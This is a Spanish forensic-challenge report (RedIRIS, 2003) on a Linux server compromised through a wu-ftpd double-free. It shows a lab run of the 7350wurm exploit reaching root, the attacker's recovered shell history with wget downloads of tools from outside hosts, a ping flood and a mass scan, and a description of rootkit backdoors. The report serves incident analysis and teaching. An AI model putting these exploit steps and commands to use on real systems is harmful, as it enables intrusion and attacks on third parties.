Reto de Análisis Forense – RedIRIS

Diciembre 2003

- INFORME TECNICO -

TABLA DE CONTENIDOS

1 Introducción.

El 21 de Agosto de 2002, a las 19:01:35 (CEST) un nuevo sistema ve la luz: un flamante Linux es instalado sobre un viejo Pentium 166 con 48 MB RAM. El administrador comete la imprudencia de no actualizar el sistema y habilita un servicio sin saber que éste contenía un agujero de seguridad públicamente conocido. Aproximadamente trece horas más tarde (22 Ago 08:17:24 CEST) el sistema había sido comprometido. Pero no será hasta pasada la media noche del día siguiente (23 Ago 00:21:04 CEST) cuando se produzca una nueva intrusión y comiencen las verdaderas muestras de actividad del atacante.

2 Vulnerabilidad y exploit utilizado.

2.1 Introducción.

La máquina fue comprometida aprovechando una vulnerabilidad en el demonio WU-FTPD, software de la Universidad de Washington que cuenta con un largo historial de problemas de seguridad. Fue hecha pública por Red Hat el 27 de Noviembre de 2001 y afecta a diferentes versiones del software vulnerable (2.4.2 a 2.6.1).

El exploit utilizado (*"7350wurm"*) es obra de TESO (http://www.team-teso.net/) y data del 2001. En su primera etapa de vida se mantuvo en la clandestinidad ("0-day"), hasta que fue encontrado en algún "honey-pot" y se hizo público. En la fecha de la intrusión que nos ocupa el código fuente del exploit era perfectamente conocido. Por ejemplo, el siguiente enlace muestra como fecha de última modificación el 17 de Julio de 2002, aunque fue publicado originalmente en Mayo de 2002 (quizás con alguna variación): http://packetstormsecurity.nl/0205-exploits/7350wurm.c.

2.2 Análisis de la vulnerabilidad.

La funcionalidad explotada se conoce como "file globbing" y permite el uso de caracteres comodín como "*" o "?" en el nombre de un fichero. Estos caracteres especiales posteriormente son expandidos de acuerdo a los ficheros existentes y otros parámetros del sistema logrando una flexible y ágil manipulación de archivos. Aunque diferentes intérpretes de comandos ("shells") poseen esta funcionalidad, WU-FTPD lo implementa en su propio código, concretamente en "glob.c". La entrada de usuario en comandos FTP que requieren de un nombre de fichero es analizada por dicho código, en busca de comodines. La expresión ya expandida es almacenada en la "heap" y se devuelve un puntero a dicha cadena. En caso de detectar algún error, se activa además una variable que lo indica. El fallo radica en que la cadena malformada "~{" no es detectada como errónea y el puntero que debía apuntar a la cadena expandida acaba referenciando a una zona de memoria en la heap que puede contener datos arbitrarios. La explotación se produce cuando finalmente se intenta liberar la memoria referenciada por el puntero anterior. Es decir, es un fallo de los conocidos como "double free()"[1].

2.3 Requisitos de explotación.

Para conseguir alcanzar el código vulnerable el atacante debe poder validarse correctamente ante el servidor, bien conociendo un usuario y contraseña, o bien aprovechando el acceso anónimo. La máquina comprometida tenía habilitado este último por lo que el atacante no necesitó disponer de ninguna información complementaria para llevar a cabo con éxito la intrusión.

[1] Recomendamos la lectura de "Once upon a free()": https://www.phrack.com/show.php?p=57&a=9

Recalcar además que el compromiso fue posible debido a que la máquina no había sido parcheada y ejecutaba el siguiente paquete vulnerable:

```
wu-ftpd-2.6.1-16.rpm
```

2.4 Explotación.

En el sistema comprometido podemos encontrar un binario compilado en estático correspondiente al exploit empleado:

```
rs-labs:~# ls -l /reto/root/.,/aw/wu
-rwxr-xr-x    1 root     root       382072 Jan 20  2002 /reto/root/.,/aw/wu
rs-labs:~# ldd  /reto/root/.,/aw/wu
        not a dynamic executable
```

Si lo ejecutamos (desde una cuenta no privilegiada[2])

```
reto@rs-labs:~$ ./wu
7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).
Compiled for MnM 01/12/2001..pr0t!

usage: ./wu [-h] [-v] [-a] [-D] [-m]
        [-t <num>] [-u <user>] [-p <pass>] [-d host]
        [-L <retloc>] [-A <retaddr>]

-h      this help
-v      be verbose (default: off, twice for greater effect)
-a      AUTO mode (target from banner)
-D      DEBUG mode (waits for keypresses)
-m      enable mass mode (use with care)
-t num  choose target (0 for list, try -v or -v -v)
-u user username to login to FTP (default: "ftp")
-p pass password to use (default: "mozilla@")
-d dest IP address or fqhn to connect to (default: 127.0.0.1)
-L loc  override target-supplied retloc (format: 0xdeadbeef)
-A addr override target-supplied retaddr (format: 0xcafebabe)
```

Tenemos numerosos “targets” disponibles:

```
reto@rs-labs:~$ ./wu -t 0
7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).
Compiled for MnM 01/12/2001..pr0t!

num . description
----+-----------------------------------------------------
  1 | Caldera eDesktop|eServer|OpenLinux 2.3 update [wu-ftpd-2.6.1-
13OL.i386.rpm]
  2 | Debian potato [wu-ftpd_2.6.0-3.deb]
  3 | Debian potato [wu-ftpd_2.6.0-5.1.deb]
  4 | Debian potato [wu-ftpd_2.6.0-5.3.deb]
  5 | Debian sid [wu-ftpd_2.6.1-5_i386.deb]
  6 | Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]
  7 | Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]
  8 | Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]
```

[2] No habría sido buena idea ejecutar como “root” un binario de dudosa procedencia.

```
  9 | Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]
 10 | Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]
 11 | RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]
 12 | RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]
 13 | RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]
 14 | RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]
 15 | RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]
 16 | RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]
 17 | RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]
 18 | RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]
 19 | RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]
 20 | RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]
 21 | SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]
 22 | SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]
 23 | SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]
 24 | SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]
 25 | SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]
 26 | SuSE 7.0 [wuftpd.rpm]
 27 | SuSE 7.0 wu-2.4.2 [wuftpd.rpm]
 28 | SuSE 7.1 [wuftpd.rpm]
 29 | SuSE 7.1 wu-2.4.2 [wuftpd.rpm]
 30 | SuSE 7.2 [wuftpd.rpm]
 31 | SuSE 7.2 wu-2.4.2 [wuftpd.rpm]
 32 | SuSE 7.3 [wuftpd.rpm]
 33 | SuSE 7.3 wu-2.4.2 [wuftpd.rpm]
 34 | Slackware 7.1
    '
```

El “target” 19 es el nuestro. En realidad, basta con usar el "AUTO mode" (opción -a) de forma que el exploit conectará al puerto atacado, leerá el banner que el servicio FTP le muestre y en función del mismo se elegirá el “target” apropiado, todo automáticamente.

Comprobemos cómo funciona el exploit. Para ello se ha usado una máquina Red Hat 7.2 de la que disponíamos en nuestro laboratorio. No es exactamente la misma versión de RH que la que tiene la máquina del compromiso pero al menos es parecida y nos valdrá para estudiar ciertos comportamientos que nos serán útiles. Eso sí, ambos RH (7.1 y 7.2) usan la misma versión de WU-FTPD, aunque los parámetros de explotación probablemente cambiarán debido a que fueron compilados en entornos diferentes.

```
reto@rs-labs:~$ ./7350wurm -d 192.168.0.244 -a
7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).

# trying to log into 192.168.0.244 with (ftp/mozilla@) ... connected.
# banner: 220 redhat FTP server (Version wu-2.6.1-18) ready.
# successfully selected target from banner

### TARGET: RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]

# 1. filling memory gaps
# 2. sending bigbuf + fakechunk
        building chunk: ([0x08072c30] = 0x08085ab8) in 238 bytes
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
################################################################################
uid=0(root) gid=0(root) groups=50(ftp)
Linux redhat 2.4.7-10ink #1 Mon Nov 25 13:09:13 CET 2002 i686 unknown
.
connection closed by foreign host.
reto@rs-labs:~$
```

En el ejemplo anterior se lanzó el exploit en modo automático obteniéndose acceso inmediato como root y posteriormente ejecutándose:

```
unset HISTFILE;id;uname -a;
```

Los comandos anteriores los envía el exploit de manera automática. Acto y seguido introducimos un "." para abandonar nuestra particular shell. La conexión se cierra y la ejecución del exploit ha terminado con éxito.

Estudiemos algunos de los logs generados en el sistema:

- */var/log/messages:*
  ```
  Dec 13 18:23:12 redhat ftpd[12852]: ANONYMOUS FTP LOGIN FROM 192.168.0.1
  [192.168.0.1], mozilla@
  ```
- */var/log/secure:*
  ```
  Dec 13 19:23:12 redhat xinetd[12674]: START: ftp pid=12852
  from=192.168.0.1
  Dec 13 19:23:29 redhat xinetd[12674]: EXIT: ftp pid=12852
  duration=17(sec)
  ```

Ahora realizamos un acceso FTP anónimo con un cliente FTP normal y estudiamos los logs generados:

- */var/log/messages:*
  ```
  Dec 13 18:25:15 redhat ftpd[12855]: ANONYMOUS FTP LOGIN FROM 192.168.0.1
  [192.168.0.1],
  Dec 13 18:25:29 redhat ftpd[12855]: FTP session closed
  ```
- */var/log/secure:*
  ```
  Dec 13 19:25:04 redhat xinetd[12674]: START: ftp pid=12855
  from=192.168.0.1
  Dec 13 19:25:29 redhat xinetd[12674]: EXIT: ftp pid=12855
  duration=25(sec)
  ```

Por último, lanzamos el exploit con un "target" erróneo. Cabe recalcar lo siguiente en el */var/log/messages*:

```
Dec 13 19:26:01 redhat ftpd[15107]: ANONYMOUS FTP LOGIN FROM 192.168.0.1
[192.168.0.1], mozilla@
Dec 13 19:26:01 redhat ftpd[15107]: exiting on signal 11: Segmentation
fault
```

<u>Conclusiones</u>:

- El exploit por defecto inicia una sesión FTP anónima con el usuario "ftp" y contraseña "mozilla@"[3].
- En caso de que el exploit tenga éxito nunca aparecerá en el */var/log/messages* la línea "`FTP session closed`".
- Si falla, el proceso *ftpd* morirá de forma inesperada generando un "segfault" y quedando el evento perfectamente registrado.

[3] El código del exploit lo confirma:

```
char *  username = "ftp";       /* can be changed with -u */
char *  password = "mozilla@";  /* can be changed with -p */
```

Estas variables son parametrizables desde la línea de comandos, como los propios comentarios indican.

- En todos los casos podemos saber con exactitud cuándo se inició el proceso *ftpd* y cuando terminó éste gracias al */var/log/secure*.

Por tanto, revisando los logs del sistema podremos determinar con precisión en qué momento se produjo la intrusión al sistema y de qué forma. Nuestra mayor preocupación será en este caso asegurar con la mayor probabilidad posible que dichos logs no han sido alterados intentando cotejar diferentes eventos y otros datos recogidos tras examinar las imágenes de las distintas particiones.

2.5 Soluciones.

La intrusión podría haber sido fácilmente evitada si el Administrador/a hubiera actualizado su sistema e instalado los últimos paquetes recomendados por Red Hat en aquel momento[4] y en especial:

`ftp://updates.redhat.com/7.1/en/os/i386/wu-ftpd-2.6.1-16.7x.1.i386.rpm`
[MD5 Sum: c97683b85603d34853b3825c9b694f20]

También se podría haber limitado el ámbito del ataque mediante soluciones temporales o "workarounds" como:

- bloquear o restringir el acceso al servicio FTP (firewall, tcp-wrappers, etc).
- deshabilitar el acceso anónimo.
- deshabilitar el servicio FTP.

Es crucial estar siempre informado de los últimos fallos de seguridad (se recomienda estar suscrito al menos a una lista de correo de seguridad, como "Bugtraq"). Es evidente que el Administrador/a no leyó el aviso de seguridad de Red Hat correspondiente o al menos hizo caso omiso del mismo. En el apartado siguiente se relacionan documentos y recursos que sin duda hubieran ayudado a identificar y evitar el problema.

2.6 Referencias.

- *Red Hat Security Advisory.* ***RHSA-2001:157-06****.*
  http://rhn.redhat.com/errata/RHSA-2001-157.html

- *Red Hat Linux 7.1 Security Advisories.*
  https://rhn.redhat.com/errata/rh71-errata-security.html

[4] A la hora de escribir estas líneas se han descubierto nuevas vulnerabilidades que hacen que el anterior paquete recomendado haya quedado obsoleto y sea considerado inseguro. A día de hoy, Red Hat recomienda el siguiente paquete actualizado:
ftp://updates.redhat.com/7.1/en/os/i386/wu-ftpd-2.6.2-11.71.1.i386.rpm
de acuerdo con el aviso de seguridad **RHSA-2003:245-15**:
http://rhn.redhat.com/errata/RHSA-2003-245.html

- *Wu-Ftpd File Globbing Heap Corruption Vulnerability.*
  http://www.securityfocus.com/bid/3581/

- *CVE-2001-0550.*
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0550

- *CERT/CC Vulnerability Note VU#886083.*
  http://www.kb.cert.org/vuls/id/886083

- *CERT® Advisory CA-2001-33 Multiple Vulnerabilities in WU-FTPD.*
  http://www.cert.org/advisories/CA-2001-33.html

- *Lista de correo Bugtraq – SecurityFocus.*
  http://www.securityfocus.com/archive/1

3 Cronología de la intrusión ("time-line").

A continuación describimos lo que podría ser una posible línea de sucesos describiendo qué pasó y cómo se sucedieron cronológicamente los distintos hechos. Destacamos lo de "posible", pues sólo disponemos de indicios que hemos ido recopilando y que además se basan en información digital recopilada de la propia máquina. Recordemos que dicha máquina estuvo bajo el control total del atacante: éste pudo falsear logs, borrar ficheros y manipularlos. Aún existiendo (como veremos) formas de recuperar información borrada, ¿quién nos asegura que el atacante no pudo manipular dichos datos antes de borrarlos, para engañar al forense? En resumen: un atacante lo suficientemente listo y hábil podría crear una cortina de humo lo suficientemente enrevesada y densa como para evitar ser descubierto. Afortunadamente éste no parece ser el caso.

Nota.

- Todas las fechas y horas ("time-stamps") mostradas se refieren a España. Serán por tanto CEST ("Central European Summer Time"), es decir, UTC+2, ya que el ataque se produjo en temporada estival.

Preliminares.

- **21 Ago 19:01:35**
  Instalación de la máquina (primera fecha que aparece en "timeline.txt"). La hora es aproximada.

- **21 Ago 19:03:16**
  El Administrador se loguea en consola (tty1) como "root". Se dispone a habilitar el servicio FTP.

- **21 Ago 19:04:54**
  Para ello comenta la línea "disable = yes" y añade una nueva "disable = no" en /etc/xinetd.d/wu-ftpd.

- **21 Ago 19:04:59 - 19:05:03**
  El demonio "xinetd" es reiniciado. El servicio FTP queda definitivamente habilitado y con él se abre el agujero de seguridad que más tarde será explotado.

- **21 Ago 19:05:25**
  El Administrador cierra la sesión anteriormente abierta.

Posible compromiso desde Corea.

- **22 Ago 08:17:24 - 08:43:27**
  Alguien desde la IP coreana 218.146.115.18 explota por primera vez la vulnerabilidad del wu-ftpd y consigue "root" en la máquina. No se ha encontrado ninguna evidencia de la actividad del hacker durante este período. A pesar de todo, el estudio del "/var/log/messages" y "/var/log/secure" apunta a un posible compromiso[5].

La máquina es escaneada en reiteradas ocasiones.

- **22 Ago 08:30:13 - 08:31:37**
  La máquina es escaneada desde 213.84.155.131 (Holanda).

- **22 Ago 13:11:59 - 13:12:00**
  Scan desde 210.83.207.251 (China).

- **22 Ago 23:30:31 - 23:37:55**
  La IP holandesa anterior nos escanea de nuevo.

- **23 Ago 00:12:13 - 00:19:19**
  Una IP peruana (200.47.186.114) nos escanea por primera vez.

Primer compromiso contrastado e instalación del rootkit.

- **23 Ago 00:21:04**
  El atacante se conecta desde la IP peruana anterior (200.47.186.114[6]) y consigue una shell explotando el fallo del wu-ftpd. Comienza a descargar un rootkit.

- **23 Ago 00:24:19**
  La descarga del rootkit finaliza. Éste es guardado en /var/ftp/nerod.tar.gz.

- **23 Ago 00:24:45 - 00:26:05**
  Se descomprime el rootkit y se crea el directorio "nerod". Se ejecuta el script de instalación de "nerod", es decir, comienza a instalarse el rootkit. Como parte del proceso, syslogd es parado. Queda constancia de ello en el fichero "/var/log/messages". La progresión del script "install" se puede ver claramente siguiendo el fichero "timeline.txt". Además nos podemos ayudar de otras fuentes. Por ejemplo, a las 00:25:45, el paquete RPM "wget-1_5_3-1_i386.rpm" fue instalado según "rpm_installs.txt" lo que resulta coherente con lo visto en "timeline.txt". En realidad el sistema ya disponía de un paquete "wget" instalado pero el script de instalación del rootkit no ha sido lo suficientemente inteligente como para detectarlo.

[5] Para un análisis más detallado, leer "5.1 Análisis de /var/log/* y conexiones FTP."
[6] De acuerdo con el fichero "/var/log/secure":
```
Aug 23 00:21:04 localhost xinetd[812]: START: ftp pid=7049 from=200.47.186.114
```

A las 00:26:05 se ejecuta "sysinfo" (script que obtiene información general sobre el sistema, incluido en el rootkit) y se intenta enviar el resultado por correo electrónico a "frumosu99us@yahoo.com". Cerca de este punto, el script de instalación del rootkit es interrumpido, según se puede observar en "timeline.txt". En efecto, podemos comprobar que los "chattr +i" que aparecen al final del script "install" no han sido ejecutados (basta con utilizar "lsattr" sobre cualquiera de los binarios que se supone deberían tener el flag +i y observaremos que éste no está activado).

Nótese que el rootkit ha dejado instaladas dos puertas traseras: una en el puerto 4/tcp (sshd) y otro en el 465/tcp (atd). Además ha creado un usuario "ssh" con privilegios de root (uid 0) y contraseña vacía, que se podría utilizar como una tercera puerta de entrada.

- **23 Ago 00:27:09**
  El usuario "nerod" es creado (mediante el comando "adduser"). La hora obtenida del fichero "timeline.txt" es coherente con la siguiente línea rescatada de la swap:
  ```
  Aug 23 00:27:09 adduser[7397]: new group: name=nerod, gid=501
  ```

- **23 Ago 00:27:11**
  Se le define una contraseña al usuario "nerod" (comando "passwd").

- **23 Ago 00:38:01**
  El atacante abandona la shell. Escarbando en la swap tenemos la prueba de ello:
  ```
  Aug 23 00:38:01 xinetd[812]: EXIT: ftp pid=7049 duration=1017(sec)
  ```
  La primera sesión de hacking ha durado apenas 17 minutos.

El atacante irrumpe de nuevo.

- **23 Ago 00:50 (aprox.) – 01:28 (aprox.)**
  En esta segunda sesión el atacante hace uso de una de las puertas traseras[7]. Presumiblemente utilizó el backdoor "sshd"[8] sito en el puerto 4/tcp, para entrar al sistema directamente como "root".

  Aprovechó para "parchear" a su manera el agujero del ftp. Para ello, deshabilitó el ftp anónimo incluyendo algunos usuarios (ftp, anonymous, ssh) en la lista de usuarios ftp prohibidos (/etc/ftpusers) e incluso llegando a borrar por completo la cuenta "ftp", destinada al ftp anónimo.

  Por último, descargó e instaló un bouncer de IRC (también trató de descargar el "autowu" -awu.tgz- pero no lo consiguió), concretamente el "psyBNC 2.2.1". La secuencia de comandos completa rescatada del archivo

[7] Deducimos que no utilizó de nuevo la shell provista por el exploit del ftp porque éste hace un "unset HISTFILE" y la sesión no habría quedado registrada en el .bash_history.

[8] La otra opción –el falso demonio "atd" (en realidad, md5bd.c escrita por Mixter)- también la descartamos pues también deshabilita HISTFILE: realiza un `unsetenv("HISTFILE")` antes de ejecutar el execl() que da acceso al shell. El código fuente se puede descargar de: http://mixter.void.ru/md5bd.c.

.bash_history se reproduce a continuación junto con algunas referencias temporales:

```
             w
             mkdir .,
             cd .,
             ftp
             ftp www.0catch.com
             wget www.geocitites.com/neala19/psybnc2.2.2.tar.gz
             wget www.geocitites.com/neala19/psybnc
             wget www.geocities.com/master0n/awu.tgz
             wget www.geocities.com/master0n/awu.tgz
             echo ftp >> /etc/ftpusers
             echo anonymous >> /etc/ftpusers
00:56:20     echo ssh >> /etc/ftpusers
00:56:24     echo ssh >> /etc/ftp
             echo ssh >> /etc/ssh
00:56:39     /usr/sbin/userdel ftp
             wget www.geocities.com/gavish19/psyBNC.tar.gz
             ftp
01:16:55     tar zxvf psyBNC.tar.gz
             cd psybnc
             makew
01:17:37     make
01:17:41     ./psybnc
01:28:32     uptime
```

La eliminación del usuario "ftp" es coherente con la siguiente línea obtenida de la swap:

```
Aug 23 00:56:39 userdel[7412]: delete user `ftp'
```

Tercera sesión.

- **23 Ago 01:35 (aprox.) - 01:46:19**

  El atacante conecta de nuevo a través del backdoor y comienza lanzando un DoS (ping-flood) contra la IP 80.96.22.169. Acto seguido descarga e instala el "autowu" (awu.tgz) y lo usa para explorar el rango de clase B 12.216.x.x. La secuencia de comandos:

```
             w
             ping -f -s6000 80.96.22.169
             ping -f -s6000 80.96.22.169
             ls
             cd .,
             ls
01:41:51     wget www.geocities.com/master0n/awu.tgz
01:42:58     tar zxvf awu.tgz
             cd aw
01:43:31     ./awu 12.216
             cexit
01:46:19     exit  [El .bash_logout hace un "clear"]
```

Cuarta sesión.

- **23 Ago 10:17:11 - 10:20:42**

  El atacante vuelve como de costumbre por la puerta trasera. Descarga e instala una versión un poco más moderna del bouncer anterior ("psyBNC 2.2.2Beta") y lo intenta camuflar renombrando el ejecutable a "httpd".

También instala un bot de IRC: "EnergyMech 2.8". Los comandos ejecutados son:

```
10:17:11    w
            cd /var/tmp
10:17:17    mkdir .,
            cd .,
            dir
            wget www.geocities.com/adrianboy20ro/psy.tgz
10:17:54    tar xvzf psy.tgz
            cd psybnc/
            pico psybnc.conf
10:18:21    mv psybnc httpd
            bash
            cd ..
            dir
            rm -rf psy.tgz
            wget www.mumutzz.go.ro/manu.tgz
10:19:21    tar xvzf manu.tgz
            cd emech/
            dir
10:19:34    pico emech.users
            bash
            cd ..
10:20:35    dir
10:20:42    rm -rf manu.tgz
```

El administrador descubre el compromiso.

- **23 Ago 12:33:18**
  El administrador conecta en local (tty1).

- **23 Ago 12:36:38**
  Sospecha que su máquina ha sido comprometida por lo que copia binarios "limpios" al sistema: chgrp, chmod, chown, cp, cpio, dd, df, ed, hostname, ln, mail, medir, mknod, mktemp, mt, mv, netstat, ping y setserial. Con dichos binarios podrá confirmar sus mayores temores y proceder a la obtención de las imágenes del sistema. A las 14:22:20 se utilizó "ncftpput" por última vez, para copiar las imágenes a un host remoto (192.168.3.14).

- **23 Ago 15:36:30**
  La máquina es apagada.

4 Evidencias y restos dejados por el atacante.

En esta primera fase del análisis forense necesitamos recopilar toda la información posible del sistema comprometido. Para ello, utilizaremos diversas herramientas de propósito general (llamémosles "utilidades del sistema": grep, find, sed, awk…) junto con otras más específicas y enfocadas al análisis forense como TCT. Explicaremos detalladamente los métodos y procedimientos utilizados para obtener la máxima información posible de la única fuente de la que disponemos: las imágenes de las particiones de la máquina[9].

4.1 Preparación.

En algunos casos trataremos dicha información en crudo, es decir, se procesarán directamente los ficheros de imagen. Pero la gran mayoría del tiempo trabajaremos sobre las particiones montadas. En todo caso, necesitaremos de una máquina auxiliar desde la cual llevar a cabo el análisis. En nuestro caso será una máquina Linux Debian 3.0, con las herramientas necesarias, parcheada convenientemente y con mucho espacio de disco disponible. Añadiremos las siguientes líneas a su /etc/fstab:

```
#### Reto de Analisis forense de Rediris
/img/192.168.3.10-hda8.dd     /reto          auto    noauto,loop,ro,noexec,nodev 0 0
/img/192.168.3.10-hda7.dd     /reto/var      auto    noauto,loop,ro,noexec,nodev 0 0
/img/192.168.3.10-hda5.dd     /reto/usr      auto    noauto,loop,ro,noexec,nodev 0 0
/img/192.168.3.10-hda6.dd     /reto/home     auto    noauto,loop,ro,noexec,nodev 0 0
/img/192.168.3.10-hda1.dd     /reto/boot     auto    noauto,loop,ro,noexec,nodev 0 0
#### Fin Reto
```

Se desprende de lo anterior:

- Las imágenes las hemos copiado al directorio "/img" y la instantánea del sistema víctima será accesible a partir de "/reto"[10].
- Debemos asegurar la integridad de los datos que vamos a manejar. Por ello, las particiones se montarán como sólo lectura ("ro") de forma que ni siquiera "root" podrá alterar de forma accidental ningún fichero bajo la raíz del sistema a analizar ("/reto"). Desactivamos también el "fsck" automático.
- Las particiones que vamos a montar contienen ficheros no confiables (binarios modificados, troyanos y puertas traseras…) por lo que tomaremos precauciones: nuestro sistema ignorará los ficheros más peligrosos como ejecutables (flag "noexec"[11]) y dispositivos (flag "nodev").
- Cuando necesitemos analizar un ejecutable o conjunto de ellos utilizaremos una copia sobre una partición con menos limitaciones pero siempre en un entorno controlado. Como mínimo, siempre usaremos una cuenta sin privilegios. Los más paranoicos podrán usar una máquina virtual (ej: vmware) a tales efectos.

[9] No nos dieron la posibilidad de analizar el sistema "en caliente", es decir, antes de apagar la máquina, por lo cual hemos perdido la información volátil de la misma (contenido de la memoria RAM, información sobre procesos, datos de /proc, etc).

[10] Para referirnos a lo largo del texto a un fichero de la máquina víctima utilizaremos normalmente la raíz "/reto" delante. En otras ocasiones ésta será obviada. En cualquier caso, se distinguirá por el contexto.

[11] Estas restricciones producirán efectos colaterales. Por ejemplo, para poder hacer un "ldd" sobre un fichero se comprueba que éste último sea ejecutable. Dicha condición nunca se cumplirá si el fichero pertenece a una partición montada con "noexec".

- No queremos introducir inseguridad en la máquina forense. Por ello procuraremos que las particiones estén montadas sólo cuando sea necesario. No se montarán automáticamente ("noauto"[12]).

Como paso previo al montaje debemos comprobar que las imágenes son correctas:

```
rs-labs:/img# md5sum –b *.dd
```

Las firmas digitales obtenidas deberán coincidir con las proporcionadas por RedIRIS (listadas en el archivo "ficheros.txt").

Para montar cómodamente las particiones nos crearemos un script en bash llamado "montar" y lo ejecutaremos:

```
#!/bin/sh
# Monta las particiones del reto de analisis forense
for i in /reto /reto/var /reto/usr /reto/home /reto/boot ; do
  mount $i
done
```

De forma análoga, dispondremos de un script llamado "desmontar", similar al anterior.[13]

4.2 Información básica.

Realizamos una inspección rápida de la máquina:

- Averiguamos la distribución y versión del sistema operativo:

```
rs-labs:~# cat /reto/etc/redhat-release
Red Hat Linux release 7.1 (Seawolf)
```

- Comprobamos que la zona horaria tanto de la máquina forense como la del sistema comprometido se corresponden con la hora española:

```
rs-labs:~# diff /reto/usr/share/zoneinfo/Europe/Madrid /etc/localtime
rs-labs:~# diff /reto/usr/share/zoneinfo/Europe/Madrid /reto/etc/localtime
```

  Muy probablemente la máquina comprometida se encontraba en España.

- Buscamos directorios y ficheros ocultos:

```
find /reto -name ".*" -type d -printf "%Tc %h/%f\n" > hidden_dirs.txt
find /reto -name ".*" -type f -printf "%Tc %h/%f\n" > hidden_files.txt
```

[12] No confundir con el tercer parámetro ("auto"), que indica que el tipo de sistema de ficheros será detectado automáticamente (en nuestro caso, será "ext2).

[13] Como curiosidad, si las imágenes se encuentran guardadas en una partición NTFS (montada sobre "/img") necesitaremos al menos la versión 2.0 del driver NTFS para Linux, para que posteriormente podamos montar con "loop" las particiones originales del sistema comprometido. Algunas distribuciones como SuSE ya lo incluyen en su kernel 2.4. No es el caso de Debian por lo cual tendremos que parchear un kernel 2.4 estándar (o bien utilizar un kernel de los considerados inestables). Más información: *http://linux-ntfs.sourceforge.net/status.html*

Nos llaman la atención los siguientes directorios:

```
Fri Aug 23 10:20:42 2002 /reto/var/tmp/.,
Fri Aug 23 01:42:58 2002 /reto/root/.,
```

Ficheros sospechosos a primera vista:

```
Thu Jul 11 08:14:12 2002 /reto/var/ftp/nerod/.1addr
Sat Jun 16 07:05:18 2001 /reto/var/ftp/nerod/.1file
Thu Jul 11 08:12:05 2002 /reto/var/ftp/nerod/.1logz
Sat Jun 16 07:10:03 2001 /reto/var/ftp/nerod/.1proc
```

Los cuatro primeros son ficheros de configuración propios de un "rootkit". Añadimos por tanto el directorio /reto/var/ftp/nerod a la lista de directorios a estudiar. Además, y como primera aproximación, anotamos el 23 de Agosto de 2002 como fecha alrededor de la cual tuvo lugar el compromiso.

El siguiente archivo resulta especialmente clarificador:

```
Fri Aug 23 12:31:57 2002 /reto/root/.bash_history
```

Lo analizaremos más adelante y con detalle junto con todos nuestros hallazgos[14], aunque merece la pena adelantar que describirá una buena parte de las acciones que llevó a cabo el atacante.

- Buscamos archivos "setuid" y "setgid":

```
find /reto/ -perm +4000 -exec ls -lnb {} \; > setuid.txt
find /reto/ -perm +2000 -exec ls -lnb {} \; > setgid.txt
```

La mayoría de binarios de RH 7.1 tienen fechas antiguas (~2001). Por tanto, resulta sospechoso encontrar ejecutables con fecha 23/08/2002, que además coincide con la fecha que anotamos anteriormente como posible fecha del ataque. Nos fijamos también en que hay dos "chsh" de idéntico tamaño y que uno de ellos se encuentra en el directorio del rootkit: éste último fue copiado por el atacante al /usr/bin de la máquina víctima.

```
-rws--x--x    1 0        0            8676 Aug 23  2002 /reto/usr/bin/chsh
-rwsr-sr-x    1 0        0          649827 Aug 23  2002 /reto/usr/local/sbin/sshd
-rwsr-sr-x    1 503      503          8676 Apr  8  2001 /reto/var/ftp/nerod/chsh
-rwsr-xr-x    1 0        0           26716 Aug 23  2002 /reto/bin/ping
```

El demonio de ssh que aparece en /usr/local/sbin/ es distinto al de /usr/sbin/ y no tiene muy buena pinta.

- En Unix los ficheros especiales (de bloques o caracteres) se encuentran bajo /dev. Por tanto, no es normal encontrar ficheros normales ahí:

```
find /reto/dev -type f -exec ls -l {} \; > dev_sospechosos.txt
```

Nos topamos con ficheros de configuración del rootkit. Por ejemplo, /dev/ttyop es idéntico a /var/ftp/nerod/.1proc.

[14] Por ahora lo que más nos interesa es obtener una visión global de la máquina y cuanto pudo acontecer en ella.

- El gestor de paquetes RPM sirve para algo más que instalar y desinstalar software. Aprovecharemos una de sus múltiples funcionalidades, como es la de registrar todos los ficheros que instaló. Nos interesa ver qué ha cambiado en el sistema. RPM nos facilitará enormemente la labor, ya que para cada fichero instalado guarda su firma MD5, permisos, propietario, grupo y fecha de última modificación (entre otros).

```
rpm -V -a --root=/reto | grep ^..5 > inconsistencias_rpm.txt
```

El resultado obtenido es coherente con lo que llevamos visto hasta ahora y confirma la presencia de un posible rootkit en la máquina. Nos damos cuenta de que alguien modificó el siguiente fichero:

```
S.5....T c /etc/xinetd.d/wu-ftpd
```

Comprobamos además los paquetes RPM instalados y fechas de instalacion:

```
rpm --root=/reto -qia | grep -B3 "^Install date" | grep -v "^Version" | grep
-v "^Release" > rpm_installs.txt
```

